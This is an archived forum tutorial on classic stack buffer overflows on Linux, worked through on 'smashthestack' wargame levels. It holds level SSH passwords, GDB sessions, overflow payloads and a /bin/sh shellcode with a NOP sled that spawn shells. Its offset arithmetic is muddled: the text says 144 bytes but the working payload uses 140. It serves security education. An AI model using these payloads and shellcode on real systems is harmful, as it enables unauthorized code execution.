Introduction to Stack Based Overflows on Linux
#1
Note: This is not my work, I am not the author. Only transcribing this thread. Saving good old lost threads from my older now dead home-forum "Hacksociety". This was made by my good friend, 0xC0FFEE.

 Introduction to Stack Based Overflows on Linux by
0xC0FFEE


Hello Guest,

Today I will be talking about the basics of stack based overflows. I will start by discussing the abstract theory behind stack based overflows and then will talk about exploiting a basic stack based overflow on linux and then we will go into a real world example on windows using adobe reader on windows xp.

This tutorial is very basic and will not go into great detail on how to bypass modern exploit mitigation technologies like ASLR, DEP, SafeSEH and SEHOP. You will need an SSH client for the linux tutorial.

I was originally going to write one tutorial for both linux and windows but now I am going to split them into two tutorials so a tutorial on windows will be coming soon.
Contents
The Basic Theory
So lets say we have the following program you will see that it is copying user controlled data into a fixed size buffer. You can only fit 20 characters in the buffer and when you copy more than 20 characters "undefined behavior" occurs. 

Code:
#include<stdio.h>
#include<string.h>

int main(int argc, char **argv) {
    
    char x[20];
    if(argc > 1) {
        strcpy(x, argv[1]);
        printf("%s\n", x);    
    }
    
    return 0;
}

Lets compile this and run it on a linux system with gcc

Code [Expanded]:

$ cat -n main.c
     1    #include<stdio.h>
     2    #include<string.h>
     3    
     4    int main(int argc, char **argv) {
     5        
     6        char x[20];
     7        if(argc > 1) {
     8            strcpy(x, argv[1]);
     9            printf("%s\n", x);    
    10        }
    11        
    12        return 0;
    13    }
$ gcc main.c -o main
$ ./main AAAAAAAAAAAAAA
AAAAAAAAAAAAAA
$ ./main AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Memory fault

As you can see we are able to crash the program. Now why does this happen? Well with stack based overflows we are over writing data found on the stack.

Now you may be asking yourself what is the stack? How does it work? Well now you need to take a break from reading this tutorial and look at the two links I have posted below

This is a tutorial on the stack data structure
https://www.tutorialspoint.com/data_stru...orithm.htm
https://medium.freecodecamp.org/data-str...5f2633c529

Information on the Call Stack
https://medium.com/@ryanfarney/breaking-...8b5633fbad
https://en.wikipedia.org/wiki/Call_stack

You should also read this tutorial on byte order (more on this later)
https://betterexplained.com/articles/und...yte-order/
https://devopedia.org/byte-ordering

Below is a good diagram of what the call stack looks like (I stole this from google images)

[Image: 342px-Call%5Fstack%5Flayout.svg.png]

This may not be making much sense but hang in there for a bit and hopefully everything will be explained well enough.

If you look at the diagram below you will see what happens when we gave the program too long of a string and it crashed.

[Image: so_3.png]

When we give the program too many As it writes outside of the buffer x and overwrites the return address when the function returns it tries to read the saved return address to figure out where it needs to return to but since it has been overwritten with As it tries to return into the address 0x41414141 (ASCII equivalent of AAAA). When the function returns the saved return address is loaded into the processors instruction pointer register (EIP on x86 which stands for Extended Instruction Pointer).

For this tutorial you really at a bare minimum need to know the purpose of the EIP registers which points to the instruction in memory that needs to be executed. Since we can control the instruction pointer we can make it point to an attacker controlled memory address and execute arbitrary code on the system (assuming no exploit mitigation technologies are in place that is :p). The attack control code often spawns a shell which is why they call it is often called shellcode.

Code [No Highlight]:

x86 Registers and their uses

EAX - Accumulator Register
EBX - Base Register
ECX - Counter Register
EDX - Data Register
ESI - Source Index
EDI - Destination Index
EBP - Base Pointer
ESP - Stack Pointer

Now we will go into exploiting a real stack based overflow. We will be doing this using the wargame smashthestack so anyone with an SSH client can follow along!
Classic Stack Based Overflow on Linux
We will now be going over how to exploit a classic stack based overflow on a linux based system. I am going to be using the IO Smash the stack wargame as an example program. This allows you to follow along on the tutorial even if you don't have access to a linux based system!

Lets start out by logging into level3@io.smashthestack.org over SSH (password is Ib3F7i7FqjziuDOBKi)

The source code of the level03 challenge is listed below

Code [Expanded]:

level3@io:~$ cd /levels
level3@io:/levels$ ./level03^C
level3@io:/levels$ cat level03.c
//bla, based on work by beach

#include <stdio.h>
#include <string.h>

void good()
{
        puts("Win.");
        execl("/bin/sh", "sh", NULL);
}
void bad()
{
        printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}

int main(int argc, char **argv, char **envp)
{
        void (*functionpointer)(void) = bad;
        char buffer[50];

        if(argc != 2 || strlen(argv[1]) < 4)
                return 0;

        memcpy(buffer, argv[1], strlen(argv[1]));
        memset(buffer, 0, strlen(argv[1]) - 4);

        printf("This is exciting we're going to %p\n", functionpointer);
        functionpointer();

        return 0;
}

level3@io:/levels$

You can see when we do the memcpy the programmer made the mistake of using the length of the attacker controlled data to determine how much text should be copied using memcpy. This allows us to overflow the buffer of 50 bytes

In memory the stack looks something like this

[buffer of 50 bytes]
[function pointer pointing to bad function]
[saved frame pointer]
[return address]
[arguments to function]

The program sets the address of the function pointer to the bad function and then calls it after the memcpy by calling functionpointer() it gives us the address of the good function so we need to overflow the buffer and overwrite the function pointer this is a very simple example and after this example is finished we will move into a more realistic example (often there is not a built in function you can jump to that spawns a shell :p although there are times where you will be overwriting a function pointer instead of a return address this is also a good way to bypass the stack canary protection if the function pointer is called before the function returns.

So lets start out by simply crashing the program. We will be using a debugger to debug the program that we are writing the exploit for. In this tutorial we will be using the GDB debugger.

Lets go ahead and start GDB and run the program so that we can crash it!

Code [No Highlight]:

Starting program: /levels/level03 $(python -c "print 'A'*50")$(python -c "print 'B'*8")
This is exciting we're going to 0x80484a4
I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474
[Inferior 1 (process 27947) exited normally]

what why didn't it crash? If the buffer is 50 bytes wide and we write 58 bytes shouldn't we have overwritten the function pointer? Technically yes we should have but sometimes the code the compiler generates for whatever reason sometimes the compiler likes to change things and it either added something between the buffer and function pointer or it rounded up the size of the buffer or something (I am not sure why this happens, but it happens :/). So lets try rerunning with 70As and 8Bs

Code [No Highlight]:
(gdb) run $(python -c "print 'A'*70")$(python -c "print 'B'*8")
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level03 $(python -c "print 'A'*70")$(python -c "print 'B'*8")
This is exciting we're going to 0x8044242

Program received signal SIGSEGV, Segmentation fault.
0x08044242 in ?? ()

Yay we crashed the program and you can see that our 2 Bs (0x42) overwrite the last 2 bytes of the function pointer lets change the number of As to 76 and the number of Bs to 4. 

Code [No Highlight]:

Starting program: /levels/level03 $(python -c "print 'A'*76")$(python -c "print 'B'*4")
This is exciting we're going to 0x42424242

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Now we were fully able to gain control over the instruction pointer by overwriting the function pointer. Now we need to make it point to somethign meaningful the program gives us the address of the good function so lets write that in little endian notation and replace the Bs with the address of the good function. So we are starting with the address 0x8048474 and need to write it in little endian notation which is 0x74870408 (or \x74\x84\x04\x08 the \x is used to represent raw hex values). Lets rerun the program with these modifications and we win!

Code [No Highlight]:

(gdb) run $(python -c "print 'A'*76")$(python -c "print '\x74\x84\x04\x08'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level03 $(python -c "print 'A'*76")$(python -c "print '\x74\x84\x04\x08'")
This is exciting we're going to 0x8048474
Win.
process 19735 is executing new program: /bin/bash
sh-4.2$

Now lets move onto a more realistic example by logging into smash the stack io level 5 (ssh level5@io.smashthestack.org password is KGpWsju2vDpmxcxlvm)

Code [Expanded]:

level5@io:~$ cd /levels
level5@io:/levels$ cat level05.
cat: level05.: No such file or directory
level5@io:/levels$ cat level05.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

    char buf[128];

    if(argc < 2) return 1;

    strcpy(buf, argv[1]);

    printf("%s\n", buf);    

    return 0;
}
level5@io:/levels$

This is what I like to call a "classic" stack based overflow because it is the example that you will see everywhere and is what people usually think of when they hear stack based overflow.

Lets begin as always by crashing the program. 

Code:
level5@io:/levels$ ./level05 $(python -c "print 'A'*150")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
level5@io:/levels$

Now that we have done that lets figure out the distance we need to write from our buffer "buf" to the return address to do that we will need to do some basic math.

What we are doing is restarting our debugger, finding the address of the saved return address (info frame) and then putting a break point after the strcpy function doing run AAAAAAAAAAA then reading memory around the stack pointer to find where the As are (0x41 in hex) then we subtact the distance between the saved return addresss and the beginning of the buffer.

Code:
(gdb) q
A debugging session is active.

    Inferior 1 [process 15128] will be killed.

Quit anyway? (y or n) y
level5@io:/levels$ gdb level05
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /levels/level05...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x080483b4 <+0>:    push   ebp
   0x080483b5 <+1>:    mov    ebp,esp
   0x080483b7 <+3>:    sub    esp,0xa8
   0x080483bd <+9>:    and    esp,0xfffffff0
   0x080483c0 <+12>:    mov    eax,0x0
   0x080483c5 <+17>:    sub    esp,eax
   0x080483c7 <+19>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x080483cb <+23>:    jg     0x80483d9 <main+37>
   0x080483cd <+25>:    mov    DWORD PTR [ebp-0x8c],0x1
   0x080483d7 <+35>:    jmp    0x8048413 <main+95>
   0x080483d9 <+37>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483dc <+40>:    add    eax,0x4
   0x080483df <+43>:    mov    eax,DWORD PTR [eax]
   0x080483e1 <+45>:    mov    DWORD PTR [esp+0x4],eax
   0x080483e5 <+49>:    lea    eax,[ebp-0x88]
   0x080483eb <+55>:    mov    DWORD PTR [esp],eax
   0x080483ee <+58>:    call   0x80482d4 <strcpy@plt>
   0x080483f3 <+63>:    lea    eax,[ebp-0x88]
   0x080483f9 <+69>:    mov    DWORD PTR [esp+0x4],eax
   0x080483fd <+73>:    mov    DWORD PTR [esp],0x8048524
   0x08048404 <+80>:    call   0x80482b4 <printf@plt>
   0x08048409 <+85>:    mov    DWORD PTR [ebp-0x8c],0x0
   0x08048413 <+95>:    mov    eax,DWORD PTR [ebp-0x8c]
   0x08048419 <+101>:    leave  
   0x0804841a <+102>:    ret    
End of assembler dump.
(gdb) break *main+63
Breakpoint 1 at 0x80483f3
(gdb) run AAAAAAAAAAAAAA
Starting program: /levels/level05 AAAAAAAAAAAAAA

Breakpoint 1, 0x080483f3 in main ()
(gdb) info frame
Stack level 0, frame at 0xbffffcb0:
eip = 0x80483f3 in main; saved eip 0xb7e85e46
Arglist at 0xbffffca8, args:
Locals at 0xbffffca8, Previous frame's sp is 0xbffffcb0
Saved registers:
  ebp at 0xbffffca8, eip at 0xbffffcac
(gdb) x/100xw $esp-50
0xbffffbce:    0x34340000    0xeff4b7e7    0x0000b7fc    0x00000000
0xbffffbde:    0xfca80000    0x59c0bfff    0x0002b7ff    0x7c600000
0xbffffbee:    0x0000b7ee    0x00000000    0xfca80000    0x83f3bfff
0xbffffbfe:    0xfc200804    0xfe7ebfff    0xeff4bfff    0xfd00b7ff
0xbffffc0e:    0xfac0bfff    0xfcd4b7ff    0xb662bfff    0xfcc4b7fe
0xbffffc1e:    0x4141bfff    0x41414141    0x41414141    0x41414141
0xbffffc2e:    0x0b580000    0x0001b7fe    0x00000000    0x00010000
0xbffffc3e:    0xf9080000    0xfc76b7ff    0xfc80bfff    0x19dcbfff
0xbffffc4e:    0xfc76b7ef    0xe5f5bfff    0xfc77b7e9    0x0001bfff
0xbffffc5e:    0x00000000    0xfd000000    0xfce0bfff    0x8320b7fc
0xbffffc6e:    0x05900804    0x960cb7ff    0xfc880804    0x8291bfff
0xbffffc7e:    0xf3240804    0xeff4b7fc    0xfca8b7fc    0x8489bfff
0xbffffc8e:    0xe7f50804    0x0590b7e9    0x0000b7ff    0xeff40000
0xbffffc9e:    0x8470b7fc    0x00000804    0xfd280000    0x5e46bfff
0xbffffcae:    0x0002b7e8    0xfd540000    0xfd60bfff    0x0860bfff
0xbffffcbe:    0x6821b7fe    0xff8eb7ff    0xeff40177    0x820bb7ff
0xbffffcce:    0x00010804    0xfd100000    0xfc16bfff    0xfac0b7fe
0xbffffcde:    0x0b58b7ff    0xeff4b7fe    0x0000b7fc    0x00000000
0xbffffcee:    0xfd280000    0x4e93bfff    0x3883a35f    0x00008c1a
0xbffffcfe:    0x00000000    0x00000000    0x00020000    0x82f00000
0xbffffd0e:    0x00000804    0x59c00000    0x5d6bb7ff    0xeff4b7e8
0xbffffd1e:    0x0002b7ff    0x82f00000    0x00000804    0x83110000
0xbffffd2e:    0x83b40804    0x00020804    0xfd540000    0x8470bfff
0xbffffd3e:    0x84200804    0x05900804    0xfd4cb7ff    0xf908bfff
0xbffffd4e:    0x0002b7ff    0xfe6e0000    0xfe7ebfff    0x0000bfff
(gdb) x/150xw $esp-50
0xbffffbce:    0x34340000    0xeff4b7e7    0x0000b7fc    0x00000000
0xbffffbde:    0xfca80000    0x59c0bfff    0x0002b7ff    0x7c600000
0xbffffbee:    0x0000b7ee    0x00000000    0xfca80000    0x83f3bfff
0xbffffbfe:    0xfc200804    0xfe7ebfff    0xeff4bfff    0xfd00b7ff
0xbffffc0e:    0xfac0bfff    0xfcd4b7ff    0xb662bfff    0xfcc4b7fe
0xbffffc1e:    0x4141bfff    0x41414141    0x41414141    0x41414141
0xbffffc2e:    0x0b580000    0x0001b7fe    0x00000000    0x00010000
0xbffffc3e:    0xf9080000    0xfc76b7ff    0xfc80bfff    0x19dcbfff
0xbffffc4e:    0xfc76b7ef    0xe5f5bfff    0xfc77b7e9    0x0001bfff
0xbffffc5e:    0x00000000    0xfd000000    0xfce0bfff    0x8320b7fc
0xbffffc6e:    0x05900804    0x960cb7ff    0xfc880804    0x8291bfff
0xbffffc7e:    0xf3240804    0xeff4b7fc    0xfca8b7fc    0x8489bfff
0xbffffc8e:    0xe7f50804    0x0590b7e9    0x0000b7ff    0xeff40000
0xbffffc9e:    0x8470b7fc    0x00000804    0xfd280000    0x5e46bfff
0xbffffcae:    0x0002b7e8    0xfd540000    0xfd60bfff    0x0860bfff
0xbffffcbe:    0x6821b7fe    0xff8eb7ff    0xeff40177    0x820bb7ff
0xbffffcce:    0x00010804    0xfd100000    0xfc16bfff    0xfac0b7fe
0xbffffcde:    0x0b58b7ff    0xeff4b7fe    0x0000b7fc    0x00000000
0xbffffcee:    0xfd280000    0x4e93bfff    0x3883a35f    0x00008c1a
0xbffffcfe:    0x00000000    0x00000000    0x00020000    0x82f00000
0xbffffd0e:    0x00000804    0x59c00000    0x5d6bb7ff    0xeff4b7e8
0xbffffd1e:    0x0002b7ff    0x82f00000    0x00000804    0x83110000
0xbffffd2e:    0x83b40804    0x00020804    0xfd540000    0x8470bfff
0xbffffd3e:    0x84200804    0x05900804    0xfd4cb7ff    0xf908bfff
0xbffffd4e:    0x0002b7ff    0xfe6e0000    0xfe7ebfff    0x0000bfff
0xbffffd5e:    0xfe8d0000    0xfe9dbfff    0xfea8bfff    0xfecabfff
0xbffffd6e:    0xfedebfff    0xfeeabfff    0xfef6bfff    0xff34bfff
0xbffffd7e:    0xff4abfff    0xff59bfff    0xff65bfff    0xff76bfff
0xbffffd8e:    0xff7fbfff    0xff91bfff    0xff99bfff    0xffabbfff
0xbffffd9e:    0xffbabfff    0x0000bfff    0x00200000    0x14140000
0xbffffdae:    0x0021b7fe    0x10000000    0x0010b7fe    0xfbfd0000
0xbffffdbe:    0x0006078b    0x10000000    0x00110000    0x00640000
0xbffffdce:    0x00030000    0x80340000    0x00040804    0x00200000
0xbffffdde:    0x00050000    0x00070000    0x00070000    0x20000000
0xbffffdee:    0x0008b7fe    0x00000000    0x00090000    0x82f00000
0xbffffdfe:    0x000b0804    0x03ed0000    0x000c0000    0x03ed0000
---Type <return> to continue, or q <return> to quit---
0xbffffe0e:    0x000d0000    0x03ed0000    0x000e0000    0x03ed0000
0xbffffe1e:    0x00170000    0x00000000
(gdb) p 0xbffffcac-0xbffffc1e
$1 = 142
(gdb)

Now that we have calculated the different we should be able to overwrite the return address exactly.

Code:
gdb) q
A debugging session is active.

    Inferior 1 [process 24334] will be killed.

Quit anyway? (y or n) y    
level5@io:/levels$ gdb level05
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /levels/level05...done.
(gdb) run $(python -c "print 'A'*142")$(python -c "print '\xEE\xEE\xFF\xC0'")
Starting program: /levels/level05 $(python -c "print 'A'*142")$(python -c "print '\xEE\xEE\xFF\xC0'")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���

Program received signal SIGSEGV, Segmentation fault.
0xeeee4141 in ?? ()
(gdb) run $(python -c "print 'A'*144")$(python -c "print '\xEE\xEE\xFF\xC0'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level05 $(python -c "print 'A'*144")$(python -c "print '\xEE\xEE\xFF\xC0'")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run $(python -c "print 'A'*140")$(python -c "print '\xEE\xEE\xFF\xC0'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level05 $(python -c "print 'A'*140")$(python -c "print '\xEE\xEE\xFF\xC0'")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���

Program received signal SIGSEGV, Segmentation fault.
0xc0ffeeee in ?? ()
(gdb)

Okay so my math was off a little bit (I've never been good with math) its actually 144 bytes not 142 (see if you can spot the mistake I made in my calculations :p). But anyway we are now able to overwrite the return address and control the instruction pointer.

So what should we just to? Well one thing we can do on linux is we can put our shellcode (code we want to execute in an environment variable) so lets put some shellcode in an environment variable along with some NOP instructions NOP stands for no operation these instructions don't do anything but it allows us to kind of guesstimate where to jump to and we don't have to be so exact.

Code:
export SHELLCODE=$(python -c "print '\x90'*10000")$(python -c "print '\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'")

level5@io:/levels$ export SHELLCODE=$(python -c "print '\x90'*10000")$(python -c "print '\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'")
level5@io:/levels$

Now our shellcode is stored in an environment variable. Next we will load up our debugger again and find the address of the shellcode.

Code:
level5@io:/levels$ gdb level05
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /levels/level05...done.
(gdb)  x/s *((char **)environ)
No symbol "environ" in current context.
(gdb) break * main
Breakpoint 1 at 0x80483b4
(gdb) run
Starting program: /levels/level05

Breakpoint 1, 0x080483b4 in main ()
(gdb)  x/s *((char **)environ)
0xbfffd759:     "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...
(gdb)

So the address of our shellcode is 0xbfffd759. We used a lot of NOP instructions so we don't have to be exact so lets find a location in our nop sled so we can be alittle off in our calculations and still be right.

Code:
(gdb) x/xw 0xbfffd759+500
0xbfffd94d:    0x90909090 //were still in our nop sled
(gdb)

When we jump to the address 0xbfffd94d when we make our instruction pointer point at this address it continues to execute the nop instructions until it hits our shellcode then it executes our shellcode.

So new lets modify our payload so instead of making EIP=0xC0FFEEEE we make it equal 0xbfffd94d we need to write this address in little endian notation which is \x4d\xd9\xff\xbf (remember the \x is to represent raw hex values like \x41 = A in ascii).

Code:
level5@io:/levels$ gdb level05
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /levels/level05...done.
(gdb) run $(python -c "print 'A'*140")$(python -c "print '\x4d\xd9\xff\xbf'")
Starting program: /levels/level05 $(python -c "print 'A'*140")$(python -c "print '\x4d\xd9\xff\xbf'")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM���
process 14835 is executing new program: /bin/bash
level5@io:/levels$ exit
exit
[Inferior 1 (process 14835) exited normally]
(gdb) q
level5@io:/levels$ ./level05 $(python -c "print 'A'*140")$(python -c "print '\x4d\xd9\xff\xbf'")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM���

We did it! We overflowed the buffer and the return address which allowed us to control the instruction pointer which we then made point into our nop sled. After this the instruction pointer executed the nops until it can into the shellcode which it then executed to spawn the bash shell.


Well thats all folks, please let me know if you have any questions. I will try my best to answer them. I tried my best to explain everything well in this tutorial but if I left somethign out or something is confusing let me know and I will try to clarify it and will continue to try and improve upon this tutorial.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [Kali linux] Not working public folders CalmnesSs 15 6,644 08-20-2018, 05:13 PM
Last Post: CalmnesSs
  How Can I Use Kali Linux To Hack Email code419 23 12,050 03-05-2018, 04:08 PM
Last Post: code419
  What areas of hacking should I learn based on this? QMark 1 4,212 01-18-2018, 09:22 PM
Last Post: enmafia2
  Meltdown Checker for Linux Users Hysteresis 3 5,199 01-08-2018, 05:55 PM
Last Post: Insider